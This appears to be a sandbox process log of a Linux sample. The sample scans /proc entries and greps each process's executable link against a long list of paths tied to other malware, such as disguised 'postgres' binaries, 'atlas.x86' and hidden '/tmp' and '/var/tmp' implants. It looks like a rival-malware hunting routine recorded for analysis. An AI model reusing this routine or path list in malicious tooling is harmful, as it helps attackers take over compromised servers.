/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1051
-
-
/bin/grepgrep exe2⤵PID:1054
-
-
/bin/lsls -latrh /proc/72⤵PID:1053
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1057
-
-
/bin/grepgrep exe2⤵PID:1061
-
-
/bin/lsls -latrh /proc/7012⤵PID:1060
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1063
-
-
/bin/grepgrep exe2⤵PID:1067
-
-
/bin/lsls -latrh /proc/7052⤵PID:1066
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1071
-
-
/bin/grepgrep exe2⤵PID:1074
-
-
/bin/lsls -latrh /proc/712⤵PID:1073
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1077
-
-
/bin/grepgrep exe2⤵PID:1080
-
-
/bin/lsls -latrh /proc/722⤵PID:1079
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1082
-
-
/bin/grepgrep exe2⤵PID:1085
-
-
/bin/lsls -latrh /proc/7202⤵PID:1084
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1088
-
-
/bin/grepgrep exe2⤵PID:1091
-
-
/bin/lsls -latrh /proc/732⤵PID:1090
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1093
-
-
/bin/grepgrep exe2⤵PID:1096
-
-
/bin/lsls -latrh /proc/7312⤵PID:1095
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1098
-
-
/bin/grepgrep exe2⤵PID:1101
-
-
/bin/lsls -latrh /proc/7322⤵PID:1100
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1103
-
-
/bin/grepgrep exe2⤵PID:1106
-
-
/bin/lsls -latrh /proc/7372⤵PID:1105
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1108
-
-
/bin/grepgrep exe2⤵PID:1111
-
-
/bin/lsls -latrh /proc/742⤵PID:1110
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1113
-
-
/bin/grepgrep exe2⤵PID:1116
-
-
/bin/lsls -latrh /proc/752⤵PID:1115
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1118
-
-
/bin/grepgrep exe2⤵PID:1121
-
-
/bin/lsls -latrh /proc/7542⤵PID:1120
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1123
-
-
/bin/grepgrep exe2⤵PID:1126
-
-
/bin/lsls -latrh /proc/7562⤵PID:1125
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1128
-
-
/bin/grepgrep exe2⤵PID:1131
-
-
/bin/lsls -latrh /proc/7572⤵PID:1130
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1133
-
-
/bin/grepgrep exe2⤵PID:1136
-
-
/bin/lsls -latrh /proc/7592⤵PID:1135
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1138
-
-
/bin/grepgrep exe2⤵PID:1141
-
-
/bin/lsls -latrh /proc/762⤵PID:1140
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1143
-
-
/bin/grepgrep exe2⤵PID:1146
-
-
/bin/lsls -latrh /proc/7602⤵PID:1145
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1148
-
-
/bin/grepgrep exe2⤵PID:1151
-
-
/bin/lsls -latrh /proc/7662⤵PID:1150
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1153
-
-
/bin/grepgrep exe2⤵PID:1156
-
-
/bin/lsls -latrh /proc/772⤵PID:1155
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1158
-
-
/bin/grepgrep exe2⤵PID:1161
-
-
/bin/lsls -latrh /proc/7852⤵PID:1160
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1163
-
-
/bin/grepgrep exe2⤵PID:1166
-
-
/bin/lsls -latrh /proc/7862⤵PID:1165
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1168
-
-
/bin/grepgrep exe2⤵PID:1171
-
-
/bin/lsls -latrh /proc/792⤵PID:1170
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1173
-
-
/bin/grepgrep exe2⤵PID:1176
-
-
/bin/lsls -latrh /proc/82⤵PID:1175
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1178
-
-
/bin/grepgrep exe2⤵PID:1181
-
-
/bin/lsls -latrh /proc/802⤵PID:1180
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1183
-
-
/bin/grepgrep exe2⤵PID:1186
-
-
/bin/lsls -latrh /proc/822⤵PID:1185
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1188
-
-
/bin/grepgrep exe2⤵PID:1191
-
-
/bin/lsls -latrh /proc/92⤵PID:1190
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1193
-
-
/bin/grepgrep exe2⤵PID:1196
-
-
/bin/lsls -latrh /proc/buddyinfo2⤵PID:1195
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1198
-
-
/bin/grepgrep exe2⤵PID:1201
-
-
/bin/lsls -latrh /proc/bus2⤵PID:1200
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1203
-
-
/bin/grepgrep exe2⤵PID:1206
-
-
/bin/lsls -latrh /proc/cgroups2⤵PID:1205
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1208
-
-
/bin/grepgrep exe2⤵PID:1211
-
-
/bin/lsls -latrh /proc/cmdline2⤵PID:1210
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1213
-
-
/bin/grepgrep exe2⤵PID:1216
-
-
/bin/lsls -latrh /proc/consoles2⤵PID:1215
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1218
-
-
/bin/grepgrep exe2⤵PID:1221
-
-
/bin/lsls -latrh /proc/cpuinfo2⤵PID:1220
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1228
-
-
/bin/grepgrep exe2⤵PID:1231
-
-
/bin/lsls -latrh /proc/crypto2⤵PID:1230
-
-
/bin/grepgrep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"2⤵PID:1234
-
-
/bin/grepgrep exe2⤵PID:1238
-
-
/bin/lsls -latrh /proc/device-tree2⤵PID:1237
-
-
